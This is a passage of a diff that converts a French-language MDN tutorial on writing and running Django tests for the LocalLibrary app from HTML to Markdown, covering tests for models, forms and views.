d'information). Il y a plusieurs façons de remédier à ce problème - la plus facile est de lancer tout simplement <em>collectstatic</em> avant de lancer les tests :</p> +Cette commande va lancer la recherche de tous les fichiers ayant la forme **test\*.py** sous le répertoire courant, et lancer tous les tests définis, en utilisant les classes de base appropriées (ici nous avons un certain nombre de fichiers de test, mais pour le moment seul **/catalog/tests/test_models.py** contient des tests). Par défaut, chaque test ne fera de rapport qu'en cas d'échec, avec ensuite un résumé du test. -<pre class="brush: bash">python3 manage.py collectstatic -</pre> -</div> +> **Note :** Si vous obtenez des erreurs telles que : `ValueError: Missing staticfiles manifest entry ...`, cela peut être dû au fait que le test ne lance pas *collectstatic* par défaut, et que votre application utilise une classe de storage qui le requiert (voyez [manifest_strict](https://docs.djangoproject.com/en/2.1/ref/contrib/staticfiles/#django.contrib.staticfiles.storage.ManifestStaticFilesStorage.manifest_strict) pour plus d'information). Il y a plusieurs façons de remédier à ce problème - la plus facile est de lancer tout simplement *collectstatic* avant de lancer les tests : +> +> ```bash +> python3 manage.py collectstatic +> ``` -<p>Lancez les tests dans le répertoire racine de <em>LocalLibrary</em>. Vous devriez voir une sortie semblable à celle ci-dessous.</p> +Lancez les tests dans le répertoire racine de _LocalLibrary_. Vous devriez voir une sortie semblable à celle ci-dessous. -<pre class="brush: bash">> python3 manage.py test +```bash +> python3 manage.py test Creating test database for alias 'default'... -<strong>setUpTestData: Run once to set up non-modified data for all class methods. +setUpTestData: Run once to set up non-modified data for all class methods. setUp: Run once for every test method to setup clean data. Method: test_false_is_false. setUp: Run once for every test method to setup clean data. Method: test_false_is_true. setUp: Run once for every test method to setup clean data. -Method: test_one_plus_one_equals_two.</strong> +Method: test_one_plus_one_equals_two. . ====================================================================== FAIL: test_false_is_true (catalog.tests.tests_models.YourTestClass) @@ -233,31 +230,33 @@ AssertionError: False is not true Ran 3 tests in 0.075s FAILED (failures=1) -Destroying test database for alias 'default'...</pre> +Destroying test database for alias 'default'... +``` -<p>Ici nous voyons que nous avons eu un échec pour un test, et nous pouvons voir exactement quelle fonction a planté et pourquoi (cet échec était prévu, car <code>False</code> n'est pas <code>True</code> !).</p> +Ici nous voyons que nous avons eu un échec pour un test, et nous pouvons voir exactement quelle fonction a planté et pourquoi (cet échec était prévu, car `False` n'est pas `True` !). -<div class="note"> -<p><strong>Note :</strong> La chose la plus importante à apprendre de la sortie de test ci-dessus est qu'il est bien mieux d'utiliser des noms descriptifs/informatifs pour vos objets et méthodes.</p> -</div> +> **Note :** La chose la plus importante à apprendre de la sortie de test ci-dessus est qu'il est bien mieux d'utiliser des noms descriptifs/informatifs pour vos objets et méthodes. -<p>Le texte en <strong>gras</strong> ci-dessus n'apparaîtra pas normalement dans la sortie de test (elle est générée par les fonctions <code>print()</code> dans nos tests). Cela montre comment la méthode <code>setUpTestData()</code> est appelée une fois pour l'ensemble de classe, tandis que <code>setUp()</code> est appelée avant chaque méthode.</p> +Le texte en **gras** ci-dessus n'apparaîtra pas normalement dans la sortie de test (elle est générée par les fonctions `print()` dans nos tests). Cela montre comment la méthode `setUpTestData()` est appelée une fois pour l'ensemble de classe, tandis que `setUp()` est appelée avant chaque méthode. -<p>La section suivante mnotre comment vous pouvez lancer des test spécifiques, et comment contrôler la quantité d'information fournie par les tests.</p> +La section suivante mnotre comment vous pouvez lancer des test spécifiques, et comment contrôler la quantité d'information fournie par les tests. -<h3 id="Montrer_plus_dinformations_à_propos_du_test">Montrer plus d'informations à propos du test</h3> +### Montrer plus d'informations à propos du test -<p>Si vous souhaitez obtenir plus d'informations à propos du test lancé, vous pouvez changer sa <em>verbosité</em>. Par exemple, pour faire la liste de ce qui a fonctionné dans le test, comme de ce qui a échoué (ainsi que tout un tas d'informations sur la manière dont la base de données à été initialisée), vous pouvez mettre la verbosité à "2", comme indiqué ci-dessous :</p> +Si vous souhaitez obtenir plus d'informations à propos du test lancé, vous pouvez changer sa _verbosité_. Par exemple, pour faire la liste de ce qui a fonctionné dans le test, comme de ce qui a échoué (ainsi que tout un tas d'informations sur la manière dont la base de données à été initialisée), vous pouvez mettre la verbosité à "2", comme indiqué ci-dessous : -<pre class="brush: bash">python3 manage.py test --verbosity 2</pre> +```bash +python3 manage.py test --verbosity 2 +``` -<p>Les niveaux de verbosité sont 0, 1, 2 et 3, avec "1" comme valeur par défaut.</p> +Les niveaux de verbosité sont 0, 1, 2 et 3, avec "1" comme valeur par défaut. -<h3 id="Lancer_des_tests_spécifiques">Lancer des tests spécifiques</h3> +### Lancer des tests spécifiques -<p>Si vous voulez lancer une sous-sélection parmi vos tests, vous pouvez le faire en spécifiant le chemin complet (avec des points) vers le ou les package(s), module, sous-classe de <code>TestCase</code> ou méthode :</p> +Si vous voulez lancer une sous-sélection parmi vos tests, vous pouvez le faire en spécifiant le chemin complet (avec des points) vers le ou les package(s), module, sous-classe de `TestCase` ou méthode : -<pre class="brush: bash"># Run the specified module +```bash +# Run the specified module python3 manage.py test catalog.tests # Run the specified module @@ -268,23 +267,22 @@ python3 manage.py test catalog.tests.test_models.YourTestClass # Run the specified method python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one_equals_two -</pre> +``` -<h2 id="Tests_de_LocalLibrary">Tests de LocalLibrary</h2> +## Tests de LocalLibrary -<p>Maintenant que nous savons comment lancer nos tests et quel genre de choses nous avons besoin de tester, regardons quelques exemples pratiques.</p> +Maintenant que nous savons comment lancer nos tests et quel genre de choses nous avons besoin de tester, regardons quelques exemples pratiques. -<div class="note"> -<p><strong>Note :</strong> Nous n'allons pas écrire tous les tests possibles, mais ce qui suit devrait vous donner une idée sur le fonctionnement des tests, et ce que vous pouvez faire ensuite.</p> -</div> +> **Note :** Nous n'allons pas écrire tous les tests possibles, mais ce qui suit devrait vous donner une idée sur le fonctionnement des tests, et ce que vous pouvez faire ensuite. -<h3 id="Modèles">Modèles</h3> +### Modèles -<p>Comme nous l'avons dit ci-dessus, nous devrions tester tout ce qui relève de notre design, ou tout ce qui est défini par du code que nous avons écrit nous-mêmes, mais pas les bibliothèques ou le code qui est déjà testé par Django ou par l'équipe qui développe Python.</p> +Comme nous l'avons dit ci-dessus, nous devrions tester tout ce qui relève de notre design, ou tout ce qui est défini par du code que nous avons écrit nous-mêmes, mais pas les bibliothèques ou le code qui est déjà testé par Django ou par l'équipe qui développe Python. -<p>Par exemple, considérez le modèle <code>Author</code> ci-dessous. Ici nous devrions tester les labels de tous les champs, car, bien que nous n'ayons pas explicitement spécifié la plupart d'entre eux, nous avons un design qui dit ce que ces valeurs devraient être. Si nous ne testons pas ces valeurs, nous ne savons pas que les labels des champs ont les valeurs souhaitées. De même, alors que nous sommes tranquilles sur le fait que Django créera un champ de la longueur indiquée, il est intéressant de lancer un test spécifique pour s'assurer qu'il a été implémenté comme prévu.</p> +Par exemple, considérez le modèle `Author` ci-dessous. Ici nous devrions tester les labels de tous les champs, car, bien que nous n'ayons pas explicitement spécifié la plupart d'entre eux, nous avons un design qui dit ce que ces valeurs devraient être. Si nous ne testons pas ces valeurs, nous ne savons pas que les labels des champs ont les valeurs souhaitées. De même, alors que nous sommes tranquilles sur le fait que Django créera un champ de la longueur indiquée, il est intéressant de lancer un test spécifique pour s'assurer qu'il a été implémenté comme prévu. -<pre class="brush: python">class Author(models.Model): +```python +class Author(models.Model): first_name = models.CharField(max_length=100) last_name = models.CharField(max_length=100) date_of_birth = models.DateField(null=True, blank=True) @@ -294,13 +292,15 @@ python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one return reverse('author-detail', args=[str(self.id)]) def __str__(self): - return f'{self.last_name}, {self.first_name}'</pre> + return f'{self.last_name}, {self.first_name}' +``` -<p>Ouvrez notre <strong>/catalog/tests/test_models.py</strong>, et remplacez tout le code qui s'y trouve par le code de test ci-après pour le modèle <code>Author</code>.</p> +Ouvrez notre **/catalog/tests/test_models.py**, et remplacez tout le code qui s'y trouve par le code de test ci-après pour le modèle `Author`. -<p>Vous voyez que nous importons d'abord <code>TestCase</code> et faisons dériver d'elle notre classe de test (<code>AuthorModelTest</code>) en utilisant un nom descriptif, de façon à pouvoir identifier aisément dans la sortie tout test qui échoue. Nous appelons ensuite <code>setUpTestData()</code> afin de créer un objet <em>author</em>, que nous utiliserons mais que nous ne modifierons jamais dans aucun de nos tests.</p> +Vous voyez que nous importons d'abord `TestCase` et faisons dériver d'elle notre classe de test (`AuthorModelTest`) en utilisant un nom descriptif, de façon à pouvoir identifier aisément dans la sortie tout test qui échoue. Nous appelons ensuite `setUpTestData()` afin de créer un objet _author_, que nous utiliserons mais que nous ne modifierons jamais dans aucun de nos tests. -<pre class="brush: python">from django.test import TestCase +```python +from django.test import TestCase from catalog.models import Author @@ -333,33 +333,33 @@ class AuthorModelTest(TestCase): def test_get_absolute_url(self): author = Author.objects.get(id=1) # This will also fail if the urlconf is not defined. - self.assertEquals(author.get_absolute_url(), '/catalog/author/1')</pre> + self.assertEquals(author.get_absolute_url(), '/catalog/author/1') +``` -<p>Les tests de champ vérifient que les valeurs des labels de champ (<code>verbose_name</code>) et que la taille des champs de type <em>character</em> sont tels que nous les souhaitons. Ces méthodes ont toutes des noms descriptifs et suivent le même pattern :</p> +Les tests de champ vérifient que les valeurs des labels de champ (`verbose_name`) et que la taille des champs de type _character_ sont tels que nous les souhaitons. Ces méthodes ont toutes des noms descriptifs et suivent le même pattern : -<pre class="brush: python"># Get an author object to test +```python +# Get an author object to test author = Author.objects.get(id=1) # Get the metadata for the required field and use it to query the required field data field_label = author._meta.get_field('first_name').verbose_name # Compare the value to the expected result -self.assertEquals(field_label, 'first name')</pre> +self.assertEquals(field_label, 'first name') +``` -<p>Les choses intéressantes à noter sont :</p> +Les choses intéressantes à noter sont : -<ul> - <li>Nous ne pouvons obtenir le <code>verbose_name</code> directement en utilisant <code>author.first_name.verbose_name</code>, car <code>author.first_name</code> est une <em>chaîne</em> (non un moyen d'accéder à l'objet <code>first_name</code>, que nous pourrions utiliser pour accéder à ses propriétés). À la place nous devons utiliser l'attribut <code>_meta</code> de author afin d'obtenir une instance de ses champs et utiliser celle-ci pour demander l'information que nous cherchons.</li> - <li>Nous avons fait le choix d'utiliser <code>assertEquals(field_label,'first name')</code> plutôt que <code>assertTrue(field_label == 'first name')</code>. La raison en est que, en cas d'échec du test, la sortie vous dira, dans le premier cas, quel est effectivement le label du champ, ce qui rend un peu plus facile le débogage du problème.</li> -</ul> +- Nous ne pouvons obtenir le `verbose_name` directement en utilisant `author.first_name.verbose_name`, car `author.first_name` est une _chaîne_ (non un moyen d'accéder à l'objet `first_name`, que nous pourrions utiliser pour accéder à ses propriétés). À la place nous devons utiliser l'attribut `_meta` de author afin d'obtenir une instance de ses champs et utiliser celle-ci pour demander l'information que nous cherchons. +- Nous avons fait le choix d'utiliser `assertEquals(field_label,'first name')` plutôt que `assertTrue(field_label == 'first name')`. La raison en est que, en cas d'échec du test, la sortie vous dira, dans le premier cas, quel est effectivement le label du champ, ce qui rend un peu plus facile le débogage du problème. -<div class="note"> -<p><strong>Note :</strong> Les tests pour les labels de <code>last_name</code> et <code>date_of_birth</code>, ainsi que le test de la longueur du champ <code>last_name</code>, ont été omis. Ajoutez vos propres versions maintenant, en suivant les conventions de nommage et les approches que nous vous avons montrées ci-dessus.</p> -</div> +> **Note :** Les tests pour les labels de `last_name` et `date_of_birth`, ainsi que le test de la longueur du champ `last_name`, ont été omis. Ajoutez vos propres versions maintenant, en suivant les conventions de nommage et les approches que nous vous avons montrées ci-dessus. -<p>Il nous faut également tester nos méthodes personnalisées. Essentiellement, celles-ci vérifient uniquement que le nom de l'objet a été construit comme prévu, en utilisant le format "Last name", "First name", et que l'URL que nous obtenons pour un élément <code>Author</code> est telle que nous l'attendons.</p> +Il nous faut également tester nos méthodes personnalisées. Essentiellement, celles-ci vérifient uniquement que le nom de l'objet a été construit comme prévu, en utilisant le format "Last name", "First name", et que l'URL que nous obtenons pour un élément `Author` est telle que nous l'attendons. -<pre class="brush: python">def test_object_name_is_last_name_comma_first_name(self): +```python +def test_object_name_is_last_name_comma_first_name(self): author = Author.objects.get(id=1) expected_object_name = f'{author.last_name}, {author.first_name}' self.assertEquals(expected_object_name, str(author)) @@ -367,11 +367,13 @@ self.assertEquals(field_label, 'first name')</pre> def test_get_absolute_url(self): author = Author.objects.get(id=1) # This will also fail if the urlconf is not defined. - self.assertEquals(author.get_absolute_url(), '/catalog/author/1')</pre> + self.assertEquals(author.get_absolute_url(), '/catalog/author/1') +``` -<p>Maintenant lancez les tests. Si vous avez créé le modèle <code>Author</code> comme décrit dans le tutoriel sur les modèles, il est assez probable que vous allez obtenir une erreur pour le label <code>date_of_death</code>, comme montré ci-dessous. Le test plante parce qu'il a été écrit en s'attendant à ce que la définition du label suive cette convention de Django : ne pas mettre en capitale la première lettre du label (Django le fait pour vous).</p> +Maintenant lancez les tests. Si vous avez créé le modèle `Author` comme décrit dans le tutoriel sur les modèles, il est assez probable que vous allez obtenir une erreur pour le label `date_of_death`, comme montré ci-dessous. Le test plante parce qu'il a été écrit en s'attendant à ce que la définition du label suive cette convention de Django : ne pas mettre en capitale la première lettre du label (Django le fait pour vous). -<pre class="brush: bash">====================================================================== +```bash +====================================================================== FAIL: test_date_of_death_label (catalog.tests.test_models.AuthorModelTest) ---------------------------------------------------------------------- Traceback (most recent call last): @@ -381,25 +383,25 @@ AssertionError: 'Died' != 'died' - Died ? ^ + died -? ^</pre> +? ^ +``` -<p>C'est vraiment un bug mineur, mais il met en lumière comment écrire des test peut vérifier de plus près les hypothèses que vous pourriez avoir supposées vraies.</p> +C'est vraiment un bug mineur, mais il met en lumière comment écrire des test peut vérifier de plus près les hypothèses que vous pourriez avoir supposées vraies. -<div class="note"> -<p><strong>Note :</strong> Changez en "died" le label pour le champ date_of_death (/catalog/models.py) et relancez les tests.</p> -</div> +> **Note :** Changez en "died" le label pour le champ date_of_death (/catalog/models.py) et relancez les tests. -<p>La configuration pour tester les autres modèles est semblable pour tous, aussi nous n'allons pas discuter chacune plus longuement. Sentez-vous libre de créer vos propres tests pour nos autres modèles.</p> +La configuration pour tester les autres modèles est semblable pour tous, aussi nous n'allons pas discuter chacune plus longuement. Sentez-vous libre de créer vos propres tests pour nos autres modèles. -<h3 id="Les_Formulaires">Les Formulaires</h3> +### Les Formulaires -<p>La philosophie pour tester vos formulaires est la même que pour tester vos modèles: vous avez besoin de tester tout ce que vous avez codé ou les spécificités de votre design, mais non le comportement du framework sous-jacent, ni celui des autres bibliothèques tierces.</p> +La philosophie pour tester vos formulaires est la même que pour tester vos modèles: vous avez besoin de tester tout ce que vous avez codé ou les spécificités de votre design, mais non le comportement du framework sous-jacent, ni celui des autres bibliothèques tierces. -<p>Généralement, cela signifie que vous devriez tester que les formulaires ont bien les champs que vous voulez, et qu'ils sont rendus avec les bons labels et textes d'aide. Vous n'avez pas besoin de vérifier que Django valide correctement les champs selon leurs types (à moins que vous n'ayez créé vos propres champs personnalisés et leurs validations) ; c'est-à-dire que vous n'avez pas besoin de tester qu'un champ email n'accepte que des emails. Cependant vous pouvez avoir besoin de tester toute validation complémentaire que vous vous attendez à voir réalisée sur les champs, et tout message d'erreur généré par votre code.</p> +Généralement, cela signifie que vous devriez tester que les formulaires ont bien les champs que vous voulez, et qu'ils sont rendus avec les bons labels et textes d'aide. Vous n'avez pas besoin de vérifier que Django valide correctement les champs selon leurs types (à moins que vous n'ayez créé vos propres champs personnalisés et leurs validations) ; c'est-à-dire que vous n'avez pas besoin de tester qu'un champ email n'accepte que des emails. Cependant vous pouvez avoir besoin de tester toute validation complémentaire que vous vous attendez à voir réalisée sur les champs, et tout message d'erreur généré par votre code. -<p>Considérez notre formulaire pour renouveler les livres. Il a seulement 1 champ pour la date de renouvellement, qui va avoir un label et un texte d'aide que nous avons besoin de vérifier.</p> +Considérez notre formulaire pour renouveler les livres. Il a seulement 1 champ pour la date de renouvellement, qui va avoir un label et un texte d'aide que nous avons besoin de vérifier. -<pre class="brush: python">class RenewBookForm(forms.Form): +```python +class RenewBookForm(forms.Form): """Form for a librarian to renew books.""" renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).") @@ -407,19 +409,21 @@ AssertionError: 'Died' != 'died' data = self.cleaned_data['renewal_date'] # Check if a date is not in the past. - if data < datetime.date.today(): + if data < datetime.date.today(): raise ValidationError(_('Invalid date - renewal in past')) # Check if date is in the allowed range (+4 weeks from today). - if data > datetime.date.today() + datetime.timedelta(weeks=4): + if data > datetime.date.today() + datetime.timedelta(weeks=4): raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead')) # Remember to always return the cleaned data. - return data</pre> + return data +``` -<p>Ouvrez notre fichier <strong>/catalog/tests/test_forms.py</strong>, et remplacez tout le code qui s'y trouve par le code suivant, qui teste le formulaire <code>RenewBookForm</code>. Nous commençons par importer notre formulaire et des bibliothèques Python et Django pour tester les fonctionnalités liées au temps. Ensuite nous déclarons notre classe de test pour formulaire de la même manière que nous l'avons fait pour les modèles, en utilisant un nom descriptif pour notre classe de test dérivée de <code>TestCase</code>.</p> +Ouvrez notre fichier **/catalog/tests/test_forms.py**, et remplacez tout le code qui s'y trouve par le code suivant, qui teste le formulaire `RenewBookForm`. Nous commençons par importer notre formulaire et des bibliothèques Python et Django pour tester les fonctionnalités liées au temps. Ensuite nous déclarons notre classe de test pour formulaire de la même manière que nous l'avons fait pour les modèles, en utilisant un nom descriptif pour notre classe de test dérivée de `TestCase`. -<pre class="brush: python">import datetime +```python +import datetime from django.test import TestCase from django.utils import timezone @@ -454,36 +458,36 @@ class RenewBookFormTest(TestCase): date = timezone.localtime() + datetime.timedelta(weeks=4) form = RenewBookForm(data={'renewal_date': date}) self.assertTrue(form.is_valid()) -</pre> - -<p>Les deux premières fonctions testent que le <code>label</code> et le <code>help_text</code> du champ sont tels qu'on les attend. Nous devons accéder au champ en utilisant le dictionnaire du champ (p. ex. <code>form.fields['renewal_date']</code>). Notez bien ici que nous devons aussi tester si la valeur du label est <code>None</code>, car même si Django rend le label correct, il retournera <code>None</code> si la valeur n'est pas définie <em>explicitement</em>.</p> +``` -<p>Les autres fonctions testent que le formulaire est valide avec des dates de renouvellement situées à l'intérieur des limites acceptables, et invalide avec des valeurs en dehors de ces limites. Notez comment nous construisons des valeurs de dates de test autour de notre date actuelle (<code>datetime.date.today()</code>) en utilisant <code>datetime.timedelta()</code> (dans ce cas en spécifiant un nombre de jours ou de semaines). Ensuite nous créons juste le formulaire en lui passant nos données, et nous testons s'il est valide.</p> +Les deux premières fonctions testent que le `label` et le `help_text` du champ sont tels qu'on les attend. Nous devons accéder au champ en utilisant le dictionnaire du champ (p. ex. `form.fields['renewal_date']`). Notez bien ici que nous devons aussi tester si la valeur du label est `None`, car même si Django rend le label correct, il retournera `None` si la valeur n'est pas définie _explicitement_. -<div class="note"> -<p><strong>Note :</strong> Ici nous n'utilisons pas réellement la base de données ni le client de test. Envisagez de modifier ces tests pour utiliser <a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#django.test.SimpleTestCase">SimpleTestCase</a>.</p> +Les autres fonctions testent que le formulaire est valide avec des dates de renouvellement situées à l'intérieur des limites acceptables, et invalide avec des valeurs en dehors de ces limites. Notez comment nous construisons des valeurs de dates de test autour de notre date actuelle (`datetime.date.today()`) en utilisant `datetime.timedelta()` (dans ce cas en spécifiant un nombre de jours ou de semaines). Ensuite nous créons juste le formulaire en lui passant nos données, et nous testons s'il est valide. -<p>Nous avons aussi besoin de vérifier que les erreurs correctes sont levées si le formulaire est invalide. Cependant cela se fait habituellement dans la partie view, c'est pourquoi nous allons nous y attacher dans la prochaine section.</p> -</div> +> **Note :** Ici nous n'utilisons pas réellement la base de données ni le client de test. Envisagez de modifier ces tests pour utiliser [SimpleTestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#django.test.SimpleTestCase). +> +> Nous avons aussi besoin de vérifier que les erreurs correctes sont levées si le formulaire est invalide. Cependant cela se fait habituellement dans la partie view, c'est pourquoi nous allons nous y attacher dans la prochaine section. -<p>C'est tout pour les formulaires; nous en avons d'autres, mais ils sont automatiquement créés par nos vues génériques pour édition basées sur des classes, et c'est là qu'elles doivent être testées. Lancez les tests et vérifiez que notre code passe toujours !</p> +C'est tout pour les formulaires; nous en avons d'autres, mais ils sont automatiquement créés par nos vues génériques pour édition basées sur des classes, et c'est là qu'elles doivent être testées. Lancez les tests et vérifiez que notre code passe toujours ! -<h3 id="Vues">Vues</h3> +### Vues -<p>Pour valider le comportement de notre vue, nous utilisons le <a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#django.test.Client">client</a> de test de Django. Cette classe se comporte comme un navigateur web fictif que nous pouvons utiliser pour simuler des requêtes <code>GET</code> et <code>POST</code> à une URL donnée, et observer la réponse. Nous pouvons voir à peu près tout au sujet de la réponse, depuis le HTTP bas-niveau (entêtes et codes de statut résultants) jusqu'au template que nous utilisons pour rendre le HTML et aux données de contexte que nous lui passons. Nous pouvons aussi voir la chaîne des redirections (s'il y en a) et vérifier l'URL et le code de statut à chaque étape. Cela nous permet de vérifier que chaque vue se comporte comme prévu.</p> +Pour valider le comportement de notre vue, nous utilisons le [client](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#django.test.Client) de test de Django. Cette classe se comporte comme un navigateur web fictif que nous pouvons utiliser pour simuler des requêtes `GET` et `POST` à une URL donnée, et observer la réponse. Nous pouvons voir à peu près tout au sujet de la réponse, depuis le HTTP bas-niveau (entêtes et codes de statut résultants) jusqu'au template que nous utilisons pour rendre le HTML et aux données de contexte que nous lui passons. Nous pouvons aussi voir la chaîne des redirections (s'il y en a) et vérifier l'URL et le code de statut à chaque étape. Cela nous permet de vérifier que chaque vue se comporte comme prévu. -<p>Commençons avec l'une de nos vues les plus simples, celle qui fournit une liste de tous les auteurs. Elle est affichée à l'URL <strong>/catalog/authors/</strong> (une URL nommée 'authors' dans la configuration des URL).</p> +Commençons avec l'une de nos vues les plus simples, celle qui fournit une liste de tous les auteurs. Elle est affichée à l'URL **/catalog/authors/** (une URL nommée 'authors' dans la configuration des URL). -<pre class="brush: python">class AuthorListView(generic.ListView): +```python +class AuthorListView(generic.ListView): model = Author paginate_by = 10 -</pre> +``` -<p>Comme c'est une vue liste générique, presque tout est fait à notre place par Django. Probablement, si vous faites confiance à Django, la seule chose que vous aurez besoin de tester, c'est que la vue est accessible à l'URL correcte et qu'elle peut être atteinte en utilisant son nom. Cependant, si vous utilisez un processus de développement 'test-driven', vous allez commencer par écrire des tests qui confirmeront que la vue affiche bien tous les auteurs, en les paginant par lots de 10.</p> +Comme c'est une vue liste générique, presque tout est fait à notre place par Django. Probablement, si vous faites confiance à Django, la seule chose que vous aurez besoin de tester, c'est que la vue est accessible à l'URL correcte et qu'elle peut être atteinte en utilisant son nom. Cependant, si vous utilisez un processus de développement 'test-driven', vous allez commencer par écrire des tests qui confirmeront que la vue affiche bien tous les auteurs, en les paginant par lots de 10. -<p>Ouvrez le fichier <strong>/catalog/tests/test_views.py</strong>, et remplacez tout texte existant par le code de test suivant, pour la vue <code>AuthorListView</code>. Comme auparavant, nous importons notre modèle et quelques classes utiles. Dans la méthode <code>setUpTestData()</code>, nous définissons un certain nombre d'objets <code>Author</code>, de façon à pouvoir tester notre pagination.</p> +Ouvrez le fichier **/catalog/tests/test_views.py**, et remplacez tout texte existant par le code de test suivant, pour la vue `AuthorListView`. Comme auparavant, nous importons notre modèle et quelques classes utiles. Dans la méthode `setUpTestData()`, nous définissons un certain nombre d'objets `Author`, de façon à pouvoir tester notre pagination. -<pre class="brush: python">from django.test import TestCase +```python +from django.test import TestCase from django.urls import reverse from catalog.models import Author @@ -526,30 +530,32 @@ class AuthorListViewTest(TestCase): self.assertEqual(response.status_code, 200) self.assertTrue('is_paginated' in response.context) self.assertTrue(response.context['is_paginated'] == True) - self.assertTrue(len(response.context['author_list']) == 3)</pre> + self.assertTrue(len(response.context['author_list']) == 3) +``` -<p>Tous les tests utilisent le client (qui appartient à notre classe dérivée de <code>TestCase</code>), afin de simuler une requête <code>GET</code> et d'obtenir une réponse. La première version vérifie une URL spécifique (note : seulement le chemin spécifique, sans le domaine), tandis que la seconde génère une URL à partir de son nom tel qu'il se trouve dans la configuration des URL.</p> +Tous les tests utilisent le client (qui appartient à notre classe dérivée de `TestCase`), afin de simuler une requête `GET` et d'obtenir une réponse. La première version vérifie une URL spécifique (note : seulement le chemin spécifique, sans le domaine), tandis que la seconde génère une URL à partir de son nom tel qu'il se trouve dans la configuration des URL. -<pre class="brush: python">response = self.client.get('/catalog/authors/') +```python +response = self.client.get('/catalog/authors/') response = self.client.get(reverse('authors')) -</pre> +``` -<p>Une fois que nous avons la réponse, nous lui demandons son code de statut, le template utilisé, si la réponse est paginée ou non, le nombre d'éléments retournés et le nombre total d'éléments.</p> +Une fois que nous avons la réponse, nous lui demandons son code de statut, le template utilisé, si la réponse est paginée ou non, le nombre d'éléments retournés et le nombre total d'éléments. -<div class="blockIndicator note"> -<p class="brush: python"><strong>Note :</strong> Si, dans votre fichier <strong>/c</strong><strong>atalog/views.py</strong>, vous mettez la variable <code>paginate_by</code> à un nombre autre que 10, assurez-vous de mettre à jour les lignes qui testent le nombre correct d'éléments affichés dans les templates paginés, ci-dessus et dans les sections qui suivent. Par exemple, si vous mettez à 5 la variable pour la liste des auteurs, changez ainsi la ligne ci-dessus :</p> +> **Note :** Si, dans votre fichier **/c\*\***atalog/views.py\*\*, vous mettez la variable `paginate_by` à un nombre autre que 10, assurez-vous de mettre à jour les lignes qui testent le nombre correct d'éléments affichés dans les templates paginés, ci-dessus et dans les sections qui suivent. Par exemple, si vous mettez à 5 la variable pour la liste des auteurs, changez ainsi la ligne ci-dessus : +> +> ```python +> self.assertTrue(len(response.context['author_list']) == 5) +> ``` -<pre class="brush: python">self.assertTrue(len(response.context['author_list']) == 5) -</pre> -</div> +La variable la plus intéressante que nous montrons ci-dessus est `response.context`, qui est la variable de contexte passée au template par la vue. C'est incroyablement utile pour tester, parce qu'elle nous autorise à confirmer que notre template reçoit bien toutes les données dont il a besoin. En d'autres termes, nous pouvons vérifier que nous utilisons le template prévu, et quelles données le template utilise, ce qui permet dans une large mesure de vérifier que tous les problèmes de 'render' sont seulement dus au template. -<p>La variable la plus intéressante que nous montrons ci-dessus est <code>response.context</code>, qui est la variable de contexte passée au template par la vue. C'est incroyablement utile pour tester, parce qu'elle nous autorise à confirmer que notre template reçoit bien toutes les données dont il a besoin. En d'autres termes, nous pouvons vérifier que nous utilisons le template prévu, et quelles données le template utilise, ce qui permet dans une large mesure de vérifier que tous les problèmes de 'render' sont seulement dus au template.</p> +#### Vues limitées aux utilisateurs connectés -<h4 id="Vues_limitées_aux_utilisateurs_connectés">Vues limitées aux utilisateurs connectés</h4> +Dans certains cas, vous voudrez tester une vue qui est limitée aux seuls utilisateurs connectés. Par exemple notre vue `LoanedBooksByUserListView` est très semblable à notre vue précédente, mais n'est accessible qu'aux utilisateurs connectés, et n'affiche que des enregistrements de type `BookInstance` qui sont empruntés par l'utilisateur courant, ont le statut 'on loan', et sont triés 'le plus ancien en premier'. -<p>Dans certains cas, vous voudrez tester une vue qui est limitée aux seuls utilisateurs connectés. Par exemple notre vue <code>LoanedBooksByUserListView</code> est très semblable à notre vue précédente, mais n'est accessible qu'aux utilisateurs connectés, et n'affiche que des enregistrements de type <code>BookInstance</code> qui sont empruntés par l'utilisateur courant, ont le statut 'on loan', et sont triés 'le plus ancien en premier'.</p> - -<pre class="brush: python">from django.contrib.auth.mixins import LoginRequiredMixin +```python +from django.contrib.auth.mixins import LoginRequiredMixin class LoanedBooksByUserListView(LoginRequiredMixin, generic.ListView): """Generic class-based view listing books on loan to current user.""" @@ -558,15 +564,15 @@ class LoanedBooksByUserListView(LoginRequiredMixin, generic.ListView): paginate_by = 10 def get_queryset(self): - return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre> + return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back') +``` -<p>Ajoutez le code de test suivant à <strong>/catalog/tests/test_views.py</strong>. Ici nous utilisons d'abord la méthode <code>SetUp()</code> pour créer des logins de comptes d'utilisateurs et des objets de type <code>BookInstance</code> (avec leurs livres et autres enregistrements associés), que nous utiliserons plus tard dans les tests. La moitié des livres sont empruntés par chaque utilisateur-test, mais nous avons initialement mis le statut de tous les livres à "maintenance". Nous avons utilisé <code>SetUp()</code> plutôt que <code>setUpTestData()</code>, parce que nous allons modifier plus tard certains de ces objets.</p> +Ajoutez le code de test suivant à **/catalog/tests/test_views.py**. Ici nous utilisons d'abord la méthode `SetUp()` pour créer des logins de comptes d'utilisateurs et des objets de type `BookInstance` (avec leurs livres et autres enregistrements associés), que nous utiliserons plus tard dans les tests. La moitié des livres sont empruntés par chaque utilisateur-test, mais nous avons initialement mis le statut de tous les livres à "maintenance". Nous avons utilisé `SetUp()` plutôt que `setUpTestData()`, parce que nous allons modifier plus tard certains de ces objets. -<div class="note"> -<p><strong>Note :</strong> Le code de <code>setUp()</code> ci-dessous crée un livre avec un <code>Language</code> spécifique, mais <em>votre</em> code n'inclut peut-être pas le modèle <code>Language</code>, étant donné que celui-ci a été créé lors d'un <em>défi</em>. Si c'est le cas, commentez simplement les bouts de code qui créent ou importent des objets de type Language. Vous devrez aussi le faire dans la section <code>RenewBookInstancesViewTest</code> qui suit.</p> -</div> +> **Note :** Le code de `setUp()` ci-dessous crée un livre avec un `Language` spécifique, mais _votre_ code n'inclut peut-être pas le modèle `Language`, étant donné que celui-ci a été créé lors d'un _défi_. Si c'est le cas, commentez simplement les bouts de code qui créent ou importent des objets de type Language. Vous devrez aussi le faire dans la section `RenewBookInstancesViewTest` qui suit. -<pre class="brush: python">import datetime 